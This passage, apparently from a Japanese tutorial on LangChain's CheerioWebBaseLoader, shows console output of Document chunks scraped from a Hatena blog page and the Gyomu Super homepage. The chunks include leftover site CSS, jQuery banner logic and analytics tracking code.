Fregly,Antje\\\\n\' + \'Barth,Shelbee EigenbrodeオライリージャパンAmazon そういや、オライリージャパンからAWSの生成AI本出てますね。\\\\n\' + \'欲しいと思いながらも買うてない。 現状、自身の仕事のほとんどはGoogle cloudなので、AWS書籍どうしようかと思ってますが、\\\\n\' + \'面白そうなら買うてみるしか! 翻訳はAWS Japanの久富木 隆一さん。 AWSの中の人が翻訳しているので確かでしょうね! shu-kob\\\\n\' + \'2024-08-29 23:41 読者になる\', metadata: { source: \'https://shu-kob.hateblo.jp/entry/2024/08/29/234143\', loc: [Object] }, id: undefined }, Document { pageContent: \'shu-kob 2024-08-29 23:41 読者になる 広告を非表示にする 関連記事 2024-08-04 日本生成AIユーザ会\\\\n\' + \'Geminiマルチモーダルプログラミング(ハンズオン)を2024年8月13日(… genai-users.connpass.com\\\\n\' + \'このブログで何回か書いておりますが… 2024-07-20 Google Gemini 1.5/LlamaIndex/LangChain\\\\n\' + \'人工知能プログラミング… 2024年7月15日に Googleの生成AIモデル Gemini1.5 に対応した技…\', metadata: { source: \'https://shu-kob.hateblo.jp/entry/2024/08/29/234143\', loc: [Object] }, id: undefined }, Document { pageContent: \'1.5/LlamaIndex/LangChain 人工知能プログラミング… 2024年7月15日に Googleの生成AIモデル Gemini1.5\\\\n\' + \'に対応した技… 2024-06-07 Google Cloud Vertex AI Agent Builderの使い方\\\\n\' + \'RAG(Retrieval-Augmented Generation) RAG(Retrieval Augmente… 2024-04-05\\\\n\' + \'生成AIアプリケーション開発入門ハンズオン genai-users.connpass.com この記事は、日本生成AIユーザ会 #1 … 2023-12-17\\\\n\' + \'生成AIについて学んだのでざっとアウトプット はじめに 3-shake Advent Calendar 2023シリーズ1、17日目の記… もっと読む\', metadata: { source: \'https://shu-kob.hateblo.jp/entry/2024/08/29/234143\', loc: [Object] }, id: undefined }, Document { pageContent: \'生成AIについて学んだのでざっとアウトプット はじめに 3-shake Advent Calendar 2023シリーズ1、17日目の記… もっと読む\\\\n\' + \'コメントを書く \xab SRETT#10 ~ 夏のSRE祭り!アーカイブ動画… 「SREをはじめよう」(Becoming SRE邦訳)が… \xbb プロフィール\\\\n\' + \'id:shu-kob 読者です 読者をやめる 読者になる 読者になる このブログについて 検索 リンク はてなブログ ブログをはじめる\', metadata: { source: \'https://shu-kob.hateblo.jp/entry/2024/08/29/234143\', loc: [Object] }, id: undefined }, Document { pageContent: \'このブログについて 検索 リンク はてなブログ ブログをはじめる 週刊はてなブログ はてなブログPro 最新記事 SRETT#10 ~\\\\n\' + \'夏のSRE祭り!アーカイブ動画公開! オライリーのAWS生成AI本 「SREをはじめよう」(Becoming SRE邦訳)が出版 Google Cloud\\\\n\' + \'エンジニアおよび Google Cloud パートナー2社による生成AI利活用を進めるためのプロセス\', metadata: { source: \'https://shu-kob.hateblo.jp/entry/2024/08/29/234143\', loc: [Object] }, id: undefined }, Document { pageContent: \'Google Cloud エンジニアおよび Google Cloud パートナー2社による生成AI利活用を進めるためのプロセス\\\\n\' + \'後継者不足のCOBOLを生成AIに引き継ぎ 月別アーカイブ ▼ ▶ 2024 2024 / 8 2024 / 7 2024 / 6 2024 / 5\', metadata: { source: \'https://shu-kob.hateblo.jp/entry/2024/08/29/234143\', loc: [Object] }, id: undefined }, Document { pageContent: \'2024 / 6 2024 / 5 2024 / 4 2024 / 3 2024 / 2 ▼ ▶ 2023 2023 / 12\', metadata: { source: \'https://shu-kob.hateblo.jp/entry/2024/08/29/234143\', loc: [Object] }, id: undefined }, Document { pageContent: \'2023 / 12 はてなブログをはじめよう! shu-kobさんは、はてなブログを使っています。あなたもはてなブログをはじめてみませんか?\\\\n\' + \'はてなブログをはじめる(無料) はてなブログとは Toilを無くして徒然なるままに日暮し硯に向かひたい Powered by Hatena Blog |\\\\n\' + \\"ブログを報告する if (typeof window.Hatena === \'undefined\') { window.Hatena = {}; } if\\\\n\\" + \\"(!Hatena.hasOwnProperty(\'Star\')) { Hatena.Star = { VERSION: 2, }; } (function(d,\\\\n\\" + \'s, id) { var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id))\\\\n\' + \'return; js = d.createElement(s); js.id = id; js.src =\', metadata: { source: \'https://shu-kob.hateblo.jp/entry/2024/08/29/234143\', loc: [Object] }, id: undefined }, Document { pageContent: \'VERSION: 2, }; } (function(d, s, id) { var js, fjs =\\\\n\' + \'d.getElementsByTagName(s)[0]; if (d.getElementById(id)) return; js =\\\\n\' + \'d.createElement(s); js.id = id; js.src =\\\\n\' + \'\\"//connect.facebook.net/ja_JP/sdk.js#xfbml=1&appId=719729204785177&version=v17.0\\";\\\\n\' + \\"fjs.parentNode.insertBefore(js, fjs); }(document, \'script\', \'facebook-jssdk\'));\\\\n\\" + \'引用をストックしました ストック一覧を見る 閉じる 引用するにはまずログインしてください ログイン 閉じる 引用をストックできませんでした。再度お試しください\\\\n\' + \'閉じる 限定公開記事のため引用できません。\\\\n\' + \'\\\\n\' + \'読者です 読者をやめる 読者になる 読者になる Hatena.Diary.GlobalHeader.init()\', metadata: { source: \'https://shu-kob.hateblo.jp/entry/2024/08/29/234143\', loc: [Object] }, id: undefined }]npx ts-node cheerioWebBaseLoader.ts https://www.gyomusuper.jp/ただし、例えば業務スーパーのホームページを読んだ際、余計なコードが多い。newDocuments:[ Document { pageContent: \\"$(function() { $(\'.sale_bnr_close\').on(\'click\', function() {\\\\n\\" + \\"$(\'.sale_bnr\').css(\'display\', \'none\'); }); }); /*onlineshopメニュー*/ .menu_ec:hover\\\\n\\" + \'{ background:url(\\"./img/menu_ec_on.png\\") no-repeat left center #FFF; transition:\\\\n\' + \'all .5s; } /*Gyomucaメニュー*/ .menu_gyomuca { display: inline-block; width: 260px;\\\\n\' + \'height: 44px; text-align: center; text-decoration: none; line-height: 44px;\\\\n\' + \'outline: none; background:url(\\"./img/menu_gyomuca.png\\") no-repeat left center;\\\\n\' + \'text-indent:100%; white-space:nowrap; overflow:hidden; } .menu_gyomuca:hover {\\\\n\' + \'background:url(\\"./img/menu_gyomuca_on.png\\") no-repeat left center #FFF;\\\\n\' + \'transition: all .5s; } /*ここまで*/ .menu_gyomuca_on\\\\n\' + \'{background:url(\\"./img/menu_gyomuca_on.png\\") no-repeat left center\\\\n\' + \'#FFF;text-indent:100%;white-space:nowrap;overflow:hidden;display:\\\\n\' + \'inline-block;width: 260px;height: 44px;line-height: 44px;}\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'left center #FFF;text-indent:100%;white-space:nowrap;overflow:hidden;display:\\\\n\' + \'inline-block;width: 260px;height: 44px;line-height: 44px;}\\\\n\' + \'お問い合わせ | 会社案内 | サイトポリシー | 個人情報の保護に関する基本方針 ホーム 商品紹介 ミラクルレシピ 特集一覧 安心安全の取り組み\\\\n\' + \'業務スーパーとは Gyomuca お問い合わせ オンラインショップ FC加盟店募集 会社案内 日本語 / ENGLISH / 中文 .fc_com_link {\\\\n\' + \'display: flex; margin-left: 40px; margin-top: 5px; } #side_menu ul.fc_com_link\\\\n\' + \'li { width: auto; height: auto; } #side_menu ul.fc_com_link li:nth-of-type(1) {\\\\n\' + \'margin-right: 10px; } #side_menu ul.fc_com_link li a { position: relative;\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'height: auto; } #side_menu ul.fc_com_link li:nth-of-type(1) { margin-right:\\\\n\' + \'10px; } #side_menu ul.fc_com_link li a { position: relative; font-size: 12px;\\\\n\' + \'color: #fff; font-weight: bold; text-shadow: 0px 0px 0.1px #fff; letter-spacing:\\\\n\' + \'1px; padding:5px; } #side_menu ul.fc_com_link li a span { content: \\"\\"; display:\\\\n\' + \'inline-block; width: 0; height: 0; border-style: solid; border-width: 5px 0 5px\\\\n\' + \'8.7px; border-color: transparent transparent transparent #ffffff; padding-right:\\\\n\' + \'8px; } #side_menu ul.fc_com_link li a:hover { background-color: #fff; color:\\\\n\' + \'#00a55a; text-decoration: none; transition: all .5s; } #side_menu ul.fc_com_link\\\\n\' + \'li a:hover span { border-color: transparent transparent transparent\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'#00a55a; text-decoration: none; transition: all .5s; } #side_menu ul.fc_com_link\\\\n\' + \'li a:hover span { border-color: transparent transparent transparent #00a55a;\\\\n\' + \'transition: all .5s; } /*FCページの時*/ #side_menu ul.fc_com_link li a.menu_fc2_on {\\\\n\' + \'background-color: #fff; color: #00a55a; text-decoration: none; text-shadow: 0px\\\\n\' + \'0px 0.1px #00a55a; } #side_menu ul.fc_com_link li a.menu_fc2_on span {\\\\n\' + \'border-color: transparent transparent transparent #00a55a; } /*ここまで*/ .lang_box\\\\n\' + \'{ margin-left: 42px; display: flex; } .lang_box span:nth-child(n + 2) {\\\\n\' + \'margin-left: 8px; } .social_box { margin-left: 38px; display: flex; margin-top:\\\\n\' + \'20px; padding-left: 5px; } .social_box p img { width: 100%; } .social_box\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'{ margin-left: 38px; display: flex; margin-top: 20px; padding-left: 5px; }\\\\n\' + \'.social_box p img { width: 100%; } .social_box p:nth-of-type(1) { margin-right:\\\\n\' + \'18px; } .social_box p { width: 35px; } @media screen and (min-width: 1024px) {\\\\n\' + \'#side_menu .social_box { padding-bottom: 80px; } } // 指定日時を超えたらセールスライド・バナー非表示\\\\n\' + \\"var now = new Date(); var end = new Date(\'2024/10/31 23:59:59\');\\\\n\\" + \\"//(指定日時 時間は24h表記) if ( now > end ) { $(\'.sale_slide_top\').remove();\\\\n\\" + \\"$(\'.sale_bnr\').remove(); }else{ // 保持時間を設定 30分後を取得 var min = new Date();\\\\n\\" + \'min.setTime( min.getTime() + ( 30 * 60 * 1000 )); console.log(min);\\\\n\' + `$(\'.sale_bnr\').css(\'display\',\'block\'); $.cookie(\\"sale_bnr\\") ==`, metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'var min = new Date(); min.setTime( min.getTime() + ( 30 * 60 * 1000 ));\\\\n\' + `console.log(min); $(\'.sale_bnr\').css(\'display\',\'block\'); $.cookie(\\"sale_bnr\\") ==\\\\n` + `\'on\'?$(\'.sale_bnr\').hide():$(\'.sale_bnr\').show(); $.cookie(\\"sale_bnr\\",\'on\',{\\\\n` + \\"expires: min , path: \'/\' }); } // 指定日時を超えたらセールスライド・バナー非表示 var now = new Date();\\\\n\\" + \\"var end = new Date(\'2024/8/31 23:59:59\'); //(指定日時 時間は24h表記) if ( now > end ) {\\\\n\\" + \\"$(\'.sale_bnr_img img\').attr(\'src\',\'img/main_sale20240901.png\'); }\\\\n\\" + \\"$(window).on(\'load\', function(){ $(\'#bakudan\').attr(\'data-lightbox\',\'info01\');\\\\n\\" + \'}); // 指定日時を超えたらセールスライド・バナー非表示 var now = new Date(); var end = new\\\\n\' + \\"Date(\'2024/8/31 23:59:59\'); //(指定日時 時間は24h表記) if ( now > end ) {\\\\n\\" + \\"$(\'.bakudan_slide\').remove(); $(\'.sale_alide\\", metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \\"指定日時を超えたらセールスライド・バナー非表示 var now = new Date(); var end = new Date(\'2024/8/31\\\\n\\" + \\"23:59:59\'); //(指定日時 時間は24h表記) if ( now > end ) { $(\'.bakudan_slide\').remove();\\\\n\\" + \\"$(\'.sale_alide img\').attr(\'src\',\'img/main_sale20240901.png\'); } NEW ITEM 新着商品 新着\\\\n\\" + \'ホット&スパイシーヌードル\\\\n\' + \'ホットでスパイシーなインスタントヌードルです。スパイスをきかせたスープは、ピリッとした辛さの中にも旨みがあり、クセになります!熱湯をかけて粉末スープと調味オイルを加えるだけの簡単調理も魅力。鍋で煮込んでお好みの具材や、ご飯を入るアレンジもおすすめです。5袋入り。\\\\n\' + \'詳しくはこちら 詳しくはこちら PICK UP!おすすめ商品 商品をもっと見る 新着 パルメザンチーズのリゾット\\\\n\' + \'イタリアの米料理の定番!リゾットです。パルメザンチーズのコクと旨味がたっぷり詰まった濃厚な味わい♪チーズがお好きな方におすすめのレシピです。おうちでお手軽にイタリアンをお楽しみください!\\\\n\' + \'詳しくはこちら\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'パルメザンチーズのリゾット\\\\n\' + \'イタリアの米料理の定番!リゾットです。パルメザンチーズのコクと旨味がたっぷり詰まった濃厚な味わい♪チーズがお好きな方におすすめのレシピです。おうちでお手軽にイタリアンをお楽しみください!\\\\n\' + \'詳しくはこちら パルメザンチーズ[要冷蔵] 詳しくはこちら PICK UP!おすすめレシピ レシピをもっと見る SPECIAL TOPICS 特集\\\\n\' + \'特集をもっと見る SNS 公式Instagram・公式X(旧Twitter) Tweets\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'Tweets by GyomusuperOFCL 公式Instagram 公式X(旧Twitter)\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'公式Instagram 公式X(旧Twitter)\\\\n\' + \'2024年8月30日台風10号の影響による営業に関するお知らせいつもご愛顧いただき、誠にありがとうございます。台風10号の今後の進路や状況により、お客さまの安全を最優先としまして、一部店舗では営業時間の短縮および臨時休業させていただく場合がございます。各店舗の営業状況につきましては、台風10号の影響による営業に関するお知らせをご確認ください。※最新の情報に関しましては、ご利用の店舗に直接お問い合わせください。大変ご迷惑をおかけしますが、何卒ご了承いただきますようお願いいたします。2024年8月19日フジテレビ「めざましテレビ」で紹介されました2024年8月16日(金)放送のフジテレビ「めざましテレビ」で、業務スーパーの商品が紹介されました。放送局:フジテレビ番組名:「めざましテレビ」放送日:2024年8月16日(金)めざましテレビ2024年8月16日台風7号の影響による営業に関するお知らせいつもご愛顧いただき、誠にありがとうございます。台風7号の今後の進路や状況により、お客さまの安全を最優先としまして、一部店舗では営業時間の短縮および臨時休業させていただく場合がございます。各店舗の営業状況につきましては、台風7号の影響による営業に関するお知らせをご確認ください。※最新の情報に関しましては、ご利用の店舗に直接お問い合わせください。大変ご迷惑をおかけしますが、何卒ご了承いただきますようお願いいたします。2024年8月15日【セール情報】9月1日(日)から「お買い得まみれ!!総力祭\\\\n\' + \'日頃のご愛顧感謝セール」START!いつも業務スーパーをご愛顧いただきありがとうございます!9月1日(日)から10月31日(木)までの2か月間、感謝の気持ちをたっぷり込めた「お買い得まみれ!!総力祭\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'日頃のご愛顧感謝セール」START!いつも業務スーパーをご愛顧いただきありがとうございます!9月1日(日)から10月31日(木)までの2か月間、感謝の気持ちをたっぷり込めた「お買い得まみれ!!総力祭\\\\n\' + \'日頃のご愛顧感謝セール」を開催いたします。国内関連工場のオリジナル商品や海外直輸入商品など、とにかくお得なアイテム盛りだくさん!全国の業務スーパーで皆さまのご来店を心よりお待ちしております。<セール期間>【第1弾】2024年9月1日(日)~9月30日(月)【第2弾】2024年10月1日(火)~10月31日(木)<セール対象店舗>全国の業務スーパー各店(※一部店舗を除く)セール特設ページはこちら2024年8月12日台風5号の影響による営業に関するお知らせいつもご愛顧いただき、誠にありがとうございます。台風5号の今後の進路や状況により、お客さまの安全を最優先としまして、一部店舗では営業時間の短縮および臨時休業させていただく場合がございます。各店舗の営業時間や休業のご確認につきましては、台風5号の影響による営業に関するお知らせをご確認ください。大変ご迷惑をおかけしますが、何卒ご了承いただきますようお願いいたします。\\\\n\' + \'一覧を見る 『世界の本物』を直輸入!\\\\n\' + \'業務スーパーには、世界の国々で現地の人々に愛されている『世界の本物』が盛りだくさん!めずらしいものから日本でもなじみのあるものまで、厳選したアイテムを、高品質&ロープライスで取りそろえています!\\\\n\' + \'安さの秘密 自慢の国内自社工場の『オリジナル』\\\\n\' + \'国内の自社工場で、さまざまな「食」のニーズに応える、オリジナル商品をつくっています!ユニークな商品から日々の食卓に欠かせない商品までバラエティ豊かに低価格で取りそろえています!\\\\n\' + \'安全・安心の秘密\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'自慢の国内自社工場の『オリジナル』\\\\n\' + \'国内の自社工場で、さまざまな「食」のニーズに応える、オリジナル商品をつくっています!ユニークな商品から日々の食卓に欠かせない商品までバラエティ豊かに低価格で取りそろえています!\\\\n\' + \'安全・安心の秘密\\\\n\' + \'スポーツには不思議なチカラがあります。こども達の心や体を強くするとともに、アスリート達の真摯な姿は多くの人々に笑顔と感動を与え、夢に向かって挑戦することの大切さを教えてくれます。\\\\n\' + \'神戸物産はヴィッセル神戸、横浜DeNAベイスターズ、神戸ストークスのオフィシャルスポンサーとして地域スポーツの発展を支援し、人々のくらしを応援します。\\\\n\' + \'.detail_footer{display: none;} @media screen and (max-width: 767px){\\\\n\' + \'.detail_footer{ display: block; position: fixed; bottom: 0; width: 100%;\\\\n\' + \'z-index: 20; } .detail_footer_con{ display: flex; justify-content: space-around;\\\\n\' + \'align-items: flex-start; max-width: 400px; width: 97%; margin: 0 auto; }\\\\n\' + \'.detail_footer_con a{ text-decoration: none; color: #fff; } .footer_btn{\\\\n\' + \'background-color: #13a555; padding: 10px; border-radius: 10px 10px 0 0; width:\\\\n\' + \'32%; font-size: 11px; color: #fff; display: flex; flex-direction: column;\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'#13a555; padding: 10px; border-radius: 10px 10px 0 0; width: 32%; font-size:\\\\n\' + \'11px; color: #fff; display: flex; flex-direction: column; justify-content:\\\\n\' + \'center; align-items: center; height: 55px; } .footer_btn p{ margin: 0; }\\\\n\' + \'.footer_btn img{ margin-bottom: 5px; } .shop_img{ width: 24%; } .bargain_img{\\\\n\' + \'width: 23%; } .pro_img{ width: 21%; } .to_img{ width: 22%; } .re_img{ width:\\\\n\' + \'25%; } .footer_x, .footer_insta{ width: 13%; border-radius: 40px; } .footer_x{\\\\n\' + \'background-color: #000; padding: 13px; } .footer_insta{ background-color:\\\\n\' + \'#ff0069; padding: 12px; } .footer_btn, .footer_x, .footer_insta{ box-shadow: 1px\\\\n\' + \'1px 4px 0 rgba(0, 0, 0, .5); } } 店舗検索 特売情報 ホーム WEBチラシ 店舗案内 ミラクルレシピ 商品紹介 直輸入商品\\\\n\' + \'国内自社工場商品 業務スーパーとは 安さの秘密 安全安心の取り組み\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'ホーム WEBチラシ 店舗案内 ミラクルレシピ 商品紹介 直輸入商品 国内自社工場商品 業務スーパーとは 安さの秘密 安全安心の取り組み 商品開発事前チェック\\\\n\' + \'現地工場チェック 品質安全検査 商品検証 FC加盟店募集 業務スーパー5つの強み 業務スーパーの特徴 オープンまでのプロセス 体制について 契約概要・加盟条件\\\\n\' + \'物件・商品のご提案募集 お問い合わせ | 会社案内 | サイトポリシー | 個人情報の保護に関する基本方針\\\\n\' + \'〒675-0063兵庫県加古川市加古川町平野125番1 \xa92018-document.write(new Date().getFullYear());\\\\n\' + \'Gyomu Super All Rights Reserved. footer small { display: block; text-align:\\\\n\' + \'right; padding-right: 10px; margin: 0 3%; color: #fff; } @media (max-width:64em)\\\\n\' + \'{ footer small { display: block; text-align: left; padding-right: 10px; margin:\\\\n\' + \\"20px 4%!important; color: #fff; } } $(\'.main_img\\\\n\\" + \\".swiper-slide\').click(function(){ var top_slide =\\\\n\\" + \\"$(this).children(\'a\').attr(\'href\'); gtag(\'event\', \'click\', {\'event_category\' :\\", metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \\"20px 4%!important; color: #fff; } } $(\'.main_img\\\\n\\" + \\".swiper-slide\').click(function(){ var top_slide =\\\\n\\" + \\"$(this).children(\'a\').attr(\'href\'); gtag(\'event\', \'click\', {\'event_category\' :\\\\n\\" + \\"\'top_slide\', \'event_label\' : \'top_slide_\'+top_slide+\'\'}); gtag(\'event\',\\\\n\\" + \\"\'top_slide\', {\'top_slide\' : top_slide}); }); $(\'.topics\').click(function() { var\\\\n\\" + \\"page_url = $(\'.topics a\').attr(\'href\'); gtag(\'event\', \'click\', {\'event_category\'\\\\n\\" + \\": \'topics_bnr\', \'event_label\' : \'topics_bnr_\'+page_url+\'\'}); gtag(\'event\',\\\\n\\" + \\"\'topics_bnr\', {\'topics_bnr\' : page_url}); });\\\\n\\" + \\"$(\'.top_recipe_bnr\').click(function(){ var top_recipe_bnr = $(\'.top_recipe_bnr\\\\n\\" + \\"a\').attr(\'href\'); gtag(\'event\', \'click\', {\'event_category\' : \'top_recipe_bnr\',\\\\n\\" + \\"\'event_label\' : \'top_recipe_bnr_\'+top_recipe_bnr+\'\'}); gtag(\'event\',\\\\n\\" + \\"\'top_recipe_bnr\', {\'top_recipe_bnr\' : top_recipe_bnr}); });\\\\n\\" + \\"$(\'.gs_forum\').click(function(){ var gs_forum = $(\'.gs_forum .forumimg\\\\n\\" + \\"img\').attr(\'src\'); gtag(\'event\', \'click\',\\", metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \\"gtag(\'event\', \'top_recipe_bnr\', {\'top_recipe_bnr\' : top_recipe_bnr}); });\\\\n\\" + \\"$(\'.gs_forum\').click(function(){ var gs_forum = $(\'.gs_forum .forumimg\\\\n\\" + \\"img\').attr(\'src\'); gtag(\'event\', \'click\', {\'event_category\' : \'gs_forum\',\\\\n\\" + \\"\'event_label\' : \'gs_forum_\'+gs_forum+\'\'}); gtag(\'event\', \'gs_forum\', {\'gs_forum\'\\\\n\\" + \\": gs_forum}); }); $(\'.information dt\').click(function(){ var news_title =\\\\n\\" + \\"$(this).children(\'p\').text(); gtag(\'event\', \'click\', {\'event_category\' : \'news\',\\\\n\\" + \\"\'event_label\' : \'news_\'+news_title+\'\'}); gtag(\'event\', \'news\', {\'news\' :\\\\n\\" + \\"news_title}); }); $(\'.yasusa\').click(function(){ gtag(\'event\', \'click\',\\\\n\\" + \\"{\'event_category\' : \'yasusa_himitsu\', \'event_label\' : \'yasusa_himitsu\'});\\\\n\\" + \\"gtag(\'event\', \'yasusa_himitsu\', {\'yasusa_himitsu\' : \'yasusa_himitsu\'}); });\\\\n\\" + \\"$(\'.anzen\').click(function(){ gtag(\'event\', \'click\', {\'event_category\' :\\\\n\\" + \\"\'anzen_himitsu\', \'event_label\' : \'anzen_himitsu\'}); gtag(\'event\',\\\\n\\" + \\"\'anzen_himitsu\', {\'anzen_himitsu\' :\\", metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \\"gtag(\'event\', \'click\', {\'event_category\' : \'anzen_himitsu\', \'event_label\' :\\\\n\\" + \\"\'anzen_himitsu\'}); gtag(\'event\', \'anzen_himitsu\', {\'anzen_himitsu\' :\\\\n\\" + \\"\'anzen_himitsu\'}); }); $(\'.recipe_btm_link\').click(function(){ gtag(\'event\',\\\\n\\" + \\"\'click\', {\'event_category\' : \'recipe_btm_link\', \'event_label\' :\\\\n\\" + \\"\'recipe_btm_link\'}); gtag(\'event\', \'recipe_btm_link\', {\'recipe_btm_link\' :\\\\n\\" + \\"\'recipe_btm_link\'}); }); $(\'.3step_btn\').click(function(){ gtag(\'event\',\\\\n\\" + \\"\'click\', {\'event_category\' : \'3step_btn\', \'event_label\' : \'3step_btn\'});\\\\n\\" + \\"gtag(\'event\', \'3step_btn\', {\'3step_btn\' : \'3step_btn\'}); });\\\\n\\" + \\"$(\'.setsuyaku_btn\').click(function(){ gtag(\'event\', \'click\', {\'event_category\' :\\\\n\\" + \\"\'setsuyaku_btn\', \'event_label\' : \'setsuyaku_btn\'}); gtag(\'event\',\\\\n\\" + \\"\'setsuyaku_btn\', {\'setsuyaku_btn\' : \'setsuyaku_btn\'}); });\\\\n\\" + \\"$(\'.quick_btn\').click(function(){ gtag(\'event\', \'click\', {\'event_category\' :\\\\n\\" + \\"\'quick_btn\', \'event_label\' : \'quick_btn\'}); gtag(\'event\', \'quick_btn\',\\\\n\\" + \\"{\'quick_btn\' :\\", metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \\": \'setsuyaku_btn\'}); }); $(\'.quick_btn\').click(function(){ gtag(\'event\',\\\\n\\" + \\"\'click\', {\'event_category\' : \'quick_btn\', \'event_label\' : \'quick_btn\'});\\\\n\\" + \\"gtag(\'event\', \'quick_btn\', {\'quick_btn\' : \'quick_btn\'}); });\\\\n\\" + \\"$(\'.honkaku_btn\').click(function(){ gtag(\'event\', \'click\', {\'event_category\' :\\\\n\\" + \\"\'honkaku_btn\', \'event_label\' : \'honkaku_btn\'}); gtag(\'event\', \'honkaku_btn\',\\\\n\\" + \\"{\'honkaku_btn\' : \'honkaku_btn\'}); }); $(\'.recipe_item\').click(function(){\\\\n\\" + \\"gtag(\'event\', \'click\', {\'event_category\' : \'recipe_item\', \'event_label\' :\\\\n\\" + \\"\'recipe_item\'}); gtag(\'event\', \'recipe_item\', {\'recipe_item\' : \'recipe_item\'});\\\\n\\" + \\"}); $(\'.all_recipe_btn\').click(function(){ gtag(\'event\', \'click\',\\\\n\\" + \\"{\'event_category\' : \'all_recipe_btn\', \'event_label\' : \'all_recipe_btn\'});\\\\n\\" + \\"gtag(\'event\', \'all_recipe_btn\', {\'all_recipe_btn\' : \'all_recipe_btn\'}); });\\\\n\\" + \\"$(\'.sports_wrap .bun_left\').click(function(){ gtag(\'event\', \'click\',\\\\n\\" + \\"{\'event_category\' : \'Visseel\', \'event_label\' : \'Visseel\'}); gtag(\'event\',\\\\n\\" + \\"\'Visseel\', {\'Visseel\' :\\", metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \\": \'all_recipe_btn\'}); }); $(\'.sports_wrap .bun_left\').click(function(){\\\\n\\" + \\"gtag(\'event\', \'click\', {\'event_category\' : \'Visseel\', \'event_label\' :\\\\n\\" + \\"\'Visseel\'}); gtag(\'event\', \'Visseel\', {\'Visseel\' : \'Visseel\'}); });\\\\n\\" + \\"$(\'.sports_wrap .bun_right\').click(function(){ gtag(\'event\', \'click\',\\\\n\\" + \\"{\'event_category\' : \'DeNA\', \'event_label\' : \'DeNA\'}); gtag(\'event\', \'DeNA\',\\\\n\\" + \\"{\'DeNA\' : \'DeNA\'}); }); $(\'.sale_bnr\').click(function(){ gtag(\'event\', \'click\',\\\\n\\" + \\"{\'event_category\' : \'sale_bnr_mini\', \'event_label\' : \'sale_bnr_mini\'});\\\\n\\" + \\"gtag(\'event\', \'sale_bnr_mini\', {\'sale_bnr_mini\' : \'sale_bnr_mini\'}); });\\\\n\\" + \\"$(\'.top_ec_btn\').click(function(){ gtag(\'event\', \'click\', {\'event_category\' :\\\\n\\" + \\"\'top_ec_btn\', \'event_label\' : \'top_ec_btn\'}); gtag(\'event\', \'top_ec_btn\',\\\\n\\" + \\"{\'top_ec_btn\' : \'top_ec_btn\'}); }); $(\'.top_halal_btn\').click(function(){\\\\n\\" + \\"gtag(\'event\', \'click\', {\'event_category\' : \'top_halal_btn\', \'event_label\' :\\\\n\\" + \\"\'top_halal_btn\'}); gtag(\'event\', \'top_halal_btn\', {\'top_halal_btn\' :\\", metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \\"gtag(\'event\', \'click\', {\'event_category\' : \'top_halal_btn\', \'event_label\' :\\\\n\\" + \\"\'top_halal_btn\'}); gtag(\'event\', \'top_halal_btn\', {\'top_halal_btn\' :\\\\n\\" + \\"\'top_halal_btn\'}); }); $(\'.gyomuca_slide\').click(function(){ gtag(\'event\',\\\\n\\" + \\"\'click\', {\'event_category\' : \'gyomuca_slide\', \'event_label\' : \'gyomuca_slide\'});\\\\n\\" + \\"gtag(\'event\', \'gyomuca_slide\', {\'gyomuca_slide\' : \'gyomuca_slide\'}); });\\\\n\\" + \\"$(\'.gyomuca_btn\').click(function(){ gtag(\'event\', \'click\', {\'event_category\' :\\\\n\\" + \\"\'gyomuca_btn\', \'event_label\' : \'gyomuca_btn\'}); gtag(\'event\', \'gyomuca_btn\',\\\\n\\" + \\"{\'gyomuca_btn\' : \'gyomuca_btn\'}); }); $(\'.top_shop_bnr a\').click(function(){\\\\n\\" + \\"gtag(\'event\', \'click\', {\'event_category\' : \'top_shop_bnr\', \'event_label\' :\\\\n\\" + \\"\'top_shop_bnr\'}); gtag(\'event\', \'top_shop_bnr\', {\'top_shop_bnr\' :\\\\n\\" + \\"\'top_shop_bnr\'}); }); $(\'.top_bargain_bnr a\').click(function(){ gtag(\'event\',\\\\n\\" + \\"\'click\', {\'event_category\' : \'top_bargain_bnr\', \'event_label\' :\\\\n\\" + \\"\'top_bargain_bnr\'}); gtag(\'event\', \'top_bargain_bnr\', {\'top_bargain_bnr\' :\\", metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \\"a\').click(function(){ gtag(\'event\', \'click\', {\'event_category\' :\\\\n\\" + \\"\'top_bargain_bnr\', \'event_label\' : \'top_bargain_bnr\'}); gtag(\'event\',\\\\n\\" + \\"\'top_bargain_bnr\', {\'top_bargain_bnr\' : \'top_bargain_bnr\'}); });\\\\n\\" + \\"$(document).ready(function() { $(\'.drawer\').drawer(); }); //infoaccordion\\\\n\\" + `$(function(){ $(\\".infoac dt\\").not(\'#noicon\').on(\\"click\\", function() {\\\\n` + \'$(this).next().slideToggle(); $(this).toggleClass(\\"active\\"); }); }); //scroll\\\\n\' + `$(function(){ // #で始まるリンクをクリックしたら実行されます 